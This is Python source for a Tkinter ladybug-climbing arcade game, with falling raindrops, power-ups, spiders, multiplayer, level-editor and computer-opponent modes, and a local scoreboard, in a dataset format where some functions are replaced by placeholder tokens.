data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\n<function token>\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x 